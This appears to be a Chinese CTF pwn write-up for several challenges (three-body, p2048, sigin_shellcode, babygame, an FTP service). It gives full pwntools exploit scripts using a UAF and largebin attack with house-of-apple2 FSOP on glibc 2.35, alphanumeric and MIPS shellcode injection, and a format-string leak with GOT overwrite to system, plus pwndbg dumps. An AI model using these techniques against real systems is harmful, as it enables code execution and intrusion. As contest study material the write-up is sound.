最后一天出的题只看了一眼,house of apple,不过没空做了。赛后再复现一下。
three-body
uaf漏洞。show和edit只能使用一次。不过add函数里加了一个rand随机,导致有可能申请不到自己想要的大小的堆块,这一点还是挺烦。索性在代码里加一个判断,如果不是直接free掉再申请。
思路就是一次show泄露libc和heap,一次edit进行largebinattack。
exp
from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.35.so')
def add(idx,size):
r.sendlineafter("Your choice: ",'1')
r.sendlineafter("Select an area to explore: ",str(idx))
r.sendlineafter("Enter the size of the range you want to explore this time: ",str(size))
r.sendlineafter("Your decision: (1: yes / 0: no)",'0')
r.recvuntil("It seems that you are confident in yourself, move on.\n")
if r.recv(4)==b'Luck':
print('index=:',hex(idx))
else:
print("false")
delete(idx)
add(idx,size)
def delete(idx):
r.sendlineafter("Your choice: ",'2')
r.sendlineafter("Select an area you want to abandon to return: ",str(idx))
def edit(idx,size,content):
r.sendlineafter("Your choice: ",'3')
r.sendlineafter("Please select which area to talk to: ",str(idx))
r.sendlineafter("Since remote calls are costly, enter the specific number of words you want to send: ",str(size))
r.sendafter("Please write down your conclusions: ",content)
def show(idx):
r.sendlineafter("Your choice: ",'4')
r.sendlineafter("Select to enter an area to receive a signal from the Trisolarans: ",str(idx))
#---------------leak--------------
add(0,0x710)
add(1,0x710)
add(2,0x700)
add(3,0x720)
delete(0)
add(4,0x750)
delete(2)
add(5,0x750)
show(0)
r.recvuntil("The information that the Trisolarans have to tell you is as follows:\n")
heap_base=u64(r.recv(6).ljust(8,b'\x00'))-0x10c0
print("heap_base------------------->",hex(heap_base))
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21a190
print("libc_base------------>",hex(libc_base))
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
lock=libc_base+0x1f5720
one_gadget=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
ogg=one_gadget[1]+libc_base
add(2,0x700)
delete(2)
#----------------------------apple2------------------
file_addr=heap_base+0x290
_IO_file=p64(0)*3+p64(_IO_list_all-0x20)
_IO_file=_IO_file.ljust(0x68,b'\x00')
_IO_file+=p64(ogg)
_IO_file=_IO_file.ljust(0x78,b'\x00')
_IO_file+=p64(lock)
_IO_file=_IO_file.ljust(0x90,b'\x00')
_IO_file+=p64(file_addr+0xe0)
_IO_file=_IO_file.ljust(0xc8,b'\x00')
_IO_file+=p64(_IO_wfile_jumps)+p64(0)*9
_IO_file=_IO_file.ljust(0x1c0,b'\x00')
_IO_file+=p64(file_addr)
edit(0,len(_IO_file),_IO_file)
add(6, 0x900)
add(7, 0x700)
r.sendlineafter("Your choice: ",'5')
# gdb.attach(r)
r.interactive()
pwndbg> p *(struct _IO_FILE_plus *) 0x5559c1682290
$2 = {
file = {
_flags = 0,
_IO_read_ptr = 0x721 <error: Cannot access memory at address 0x721>,
_IO_read_end = 0x7fe8d4a1a190 <main_arena+1296> "\200\241\241\324\350\177",
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x7fe8d4a1a660 <_nl_global_locale+224> "ס\235\324\350\177",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 140637975264497,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7fe8d49f5720,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x5559c1682380,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fe8d4a160c0 <_IO_wfile_jumps>
}
pwndbg> p *(struct _IO_wide_data *)0x5559c1682380
$3 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x5559c16822a0
pwndbg> p *(const struct _IO_jump_t *)0x5559c16822a0
$4 = {
__dummy = 140637976502672,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7fe8d4a1a660 <_nl_global_locale+224>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x7fe8d48ebcf1 <__execvpe+1137>,
__read = 0x0,
__write = 0x7fe8d49f5720,
__seek = 0x0,
__close = 0x0,
__stat = 0x5559c1682380,
__showmanyc = 0x0,
__imbue = 0x0
}
p2048
开始玩的时候感觉有溢出,随便按应该就行,不过我玩通关了。
exp
from pwn import *
r=process('./p2048')
#r=remote('47.94.224.3',36913)
r.sendline('awwwwaawwwwwaaaawwaawadawwwaawwwawdawwwawawwawaawwawaw'
'wwwwaaawwaaadawwwwawwdwaawawwwaaawwwawwaaawwaadawaawawaaadawwawwawwawwwwadaa'
'wwadwwawaawdwadwawwdwwawaawaaawwawaaaawwadwawwdadawwawaddwwwdwawwawdwawaawaawwdwwad'
'awawawwaaawadwadawawdwawadwaaaawdwawwaaawwdwadawwawdwwawwadwadwdwwawawaaawwwdwadawaaawa'
'wdwawwwwwawwwaawaawadwwwdddwdwawwdwawwadawawawdwadwawwwwdwa'
'wwawwddwawwawwddwwaawwwdwaawawdwdwwwwawaadwwwdwdwddwdwa'
'wawadwadwdwawaadawwawwawaawwwdwwawwawawdwaaawaaawadwaadwawawadwadwwawwdwwaaw'
'wawawawwaaadaaddwaawdwaad'
'wwdadwwdwadddwwdwaaw'
'wwadwawaaawwaawawaawwaawawwawawdawadwawadawawwdwawwwwadawaaawadwwd'
'wawdwaawswwdwawwadawwadwdwaawawwaaaaa'
'wawwawawdawwawwawaaaawdwwawawdasaawdwwawwawaawwwwadwaawwawwdawawwawwwawaw'
'waaawwwdawawwawdwwadawdwawawdwwwwawwdwadwadadwwdadwawddwddwadaawwwwawwwdwddwawdwww'
'awawdwwwawadwdwaaaadwwawddddwadwdwwdaaawaawawdwa'
'wawawawadaawdadwwdwdwaswwdwwaawawawdwawadwaaawwawaaaaaaaawawa'
'waaaawwawawwawadwwadwsawswawasawwwwawawadwwaasaaawdwawdwa')
r.interactive()
sigin_shellcode
if attack>2751就可以写一段shellcode执行。这里需要先执行1000次rand,输入的数需要比rand的值小,因此我们要测试出100次rand的值,然后依次输入前99个,之后用shop函数购买攻击力,最后进battle函数。
batlle中有一个useful_tools,他的汇编中有一些有用的shellcode。
exp
from pwn import *
import random
context.log_level='debug'
context.arch='mips'
#r=process('./pwn')
r=remote('47.93.6.210',40268)
# r=process(['qemu-mips','-g','1234','./pwn'])
# elf = ELF('./pwn')
def down(i):
coin=[0, 1, 2, 1, 4, 5, 4, 5, 8, 9, 8, 5, 5,
11, 14, 5, 16, 17, 5, 9, 11, 19, 3, 5,
4, 5, 17, 25, 14, 29, 30, 5, 8, 33, 4,
17, 32, 5, 5, 29, 33, 11, 0, 41, 44, 3,
6, 5, 46, 29, 50, 5, 47, 17, 19, 53, 5,
43, 52, 29, 32, 61, 53, 5, 44, 41, 60,
33, 26, 39, 1, 53, 52, 69, 29, 5, 74,
5, 29, 69, 44, 33, 36, 53, 84, 43, 14,
85, 81, 89, 18, 49, 92, 53, 24, 5, 93,
95, 8]
#29
for i in range(99):
r.sendlineafter('Go>','1')
r.sendlineafter('How much do you want?',str(coin[i]))
def shop(idx):
r.sendlineafter('Go>','3')
r.sendlineafter("> ",str(idx))
def attack():
r.sendlineafter('Go>','1')
r.sendlineafter('How much do you want?','29')
shellcode='''
lw $a1, 56($sp)
lw $a2, 56($sp)
'''
shellcode="\x38\x00\xa5\x8f\x38\x00\xa6\x8f"
down(0)
shop(2)
shop(3)
attack()
r.recvuntil("Shellcode > \n")
# gdb.attach(r)
r.send(shellcode)
# gdb.attach(r)
r.interactive()
babygame
play game就是不同等级的md5加密,(四个字符,随着等级增加,给的积分增加,未知字符增加),由于需要爆破,等级太高我跑一个花的时间太长了。
shop中四个功能,有购买,使用,查看,扩展
在使用函数中
有一个vm函数,可以改栈上的值。(每4个字符为1组)
思路,先通过playgame获得金币,然后shop兑换,在购买的时候,注入shellcode,然后再用特殊字符搭配满足vm判断,修改栈上的值,控制返回地址返回到我们的shellcode执行即可,这里注意shellcode最好不要匹配上vm的判断。(可以通过垃圾字符改偏移)
exp
from pwn import *
import hashlib
context.log_level='debug'
# r=process('./pwn')
r=remote('39.106.131.193',42045)
def play():
charset = "abcdefghijklmnopqrstuvwxyz"
r.sendlineafter(">> ",'1')
r.sendlineafter("Please enter your level : ",'2')
r.recvuntil('??')
list=r.recv(2)
one=chr(list[0])
two=chr(list[1])
print("one,two",one,two)
r.recvuntil('== ')
md5_=r.recvuntil('\n',drop='True')
print("md5------------>",md5_)
for c1 in charset:
for c2 in charset:
s = c1 + c2 + one + two
# print(hashlib.md5(s.encode('utf-8')).hexdigest())
# 计算字符串的 MD5 哈希值,并与目标哈希值进行比较
if hashlib.md5(s.encode('utf-8')).hexdigest() == md5_.decode('utf-8'):
print('========================')
r.sendlineafter("Give me : ",s)
r.sendlineafter("Give me : ",'aaaa')
def buy(buf):
r.sendlineafter(">> ",'2')
r.sendlineafter(">> ",'1')
r.sendafter("Enter the letter you want to purchase",buf)
def expanse(size):
r.sendlineafter(">> ",'2')
r.sendlineafter(">> ",'2')
r.sendlineafter("What size do you need : ",str(size))
def use():
r.sendlineafter(">> ",'2')
r.sendlineafter(">> ",'3')
def view():
r.sendlineafter(">> ",'2')
r.sendlineafter(">> ",'4')
for i in range(0x150):
play()
expanse(0x140)
buy("qqPh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0"
"P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
"a"#shellcode insert
"jYY_fYYTeYYYaW22bX00"#vm-->make 2,make 0x20002
"co2G")
# buy('d534')
# gdb.attach(r)
use()
easy_LzhiFTP_CHELL
漏洞点是touch的时候,判断dword_4c00多了一次,改chunk指针为free_got表,然后edit写入system_plt,执行free即可。
exp
from pwn import *
import ctypes
context.log_level='debug'
r=process('./ftp')
#r=remote('39.106.65.236',22360)
elf=ELF('./ftp')
r.recvuntil("Username: ")
r.sendline("aaa")
r.recvuntil("Input Password: ")
r.send('r')
r.recvuntil("do you like my Server??(yes/No)")
r.sendline('No%25$p')
r.recvuntil('No')
code_base=int(r.recv(14),16)-0x1cd5+0x18+0x4000
print("code_base----------------->",hex(code_base))
# q2=int(hex((code_base&0xffff)>>8),16)
# print(q2)
system_plt=code_base-0x18-0x4000+elf.plt['system']
print("system_plt----->",hex(system_plt))
# 获取每个字节
byte1 = int(hex((code_base & 0xff0000000000) >> 40),16)
byte2 = int(hex((code_base & 0x00ff00000000) >> 32),16)
byte3 = int(hex((code_base & 0x0000ff000000) >> 24),16)
byte4 = int(hex((code_base & 0x000000ff0000) >> 16),16)
byte5 = int(hex((code_base & 0x00000000ff00) >> 8),16)
byte6 = int(hex((code_base & 0x0000000000ff)),16)
print(hex(byte1), hex(byte2), hex(byte3), hex(byte4), hex(byte5), hex(byte6))
def touch(filename,content):
r.sendlineafter("IMLZH1-FTP> ",'touch {}'.format(filename))
r.sendafter("write Context:",content)
def edit(idx,content):
r.sendlineafter("IMLZH1-FTP> ",'edit')
r.sendlineafter("idx:",str(idx))
r.sendafter("Content: ",content)
def delete(idx):
r.sendlineafter("IMLZH1-FTP> ",'del')
r.sendlineafter("idx:",str(idx))
def ls():
r.sendlineafter("IMLZH1-FTP> ",'ls')
# touch(chr(byte6)+chr(byte5)+chr(byte4)+chr(byte3)+chr(byte2)+chr(byte1)+'\x00',p64(code_base+0x4000))
for i in range(16):
touch('flagaaaa','/bin/sh\x00')
delete(0)
touch(chr(byte6)+chr(byte5)+chr(byte4)+chr(byte3)+chr(byte2)+chr(byte1)+'\x00',p64(code_base+0x4000))
edit(0,p64(system_plt))
gdb.attach(r)
delete(5)
# edit(3,b'\x00')
# edit(-16,'aaaaaaaa')
# gdb.attach(r)
r.interactive()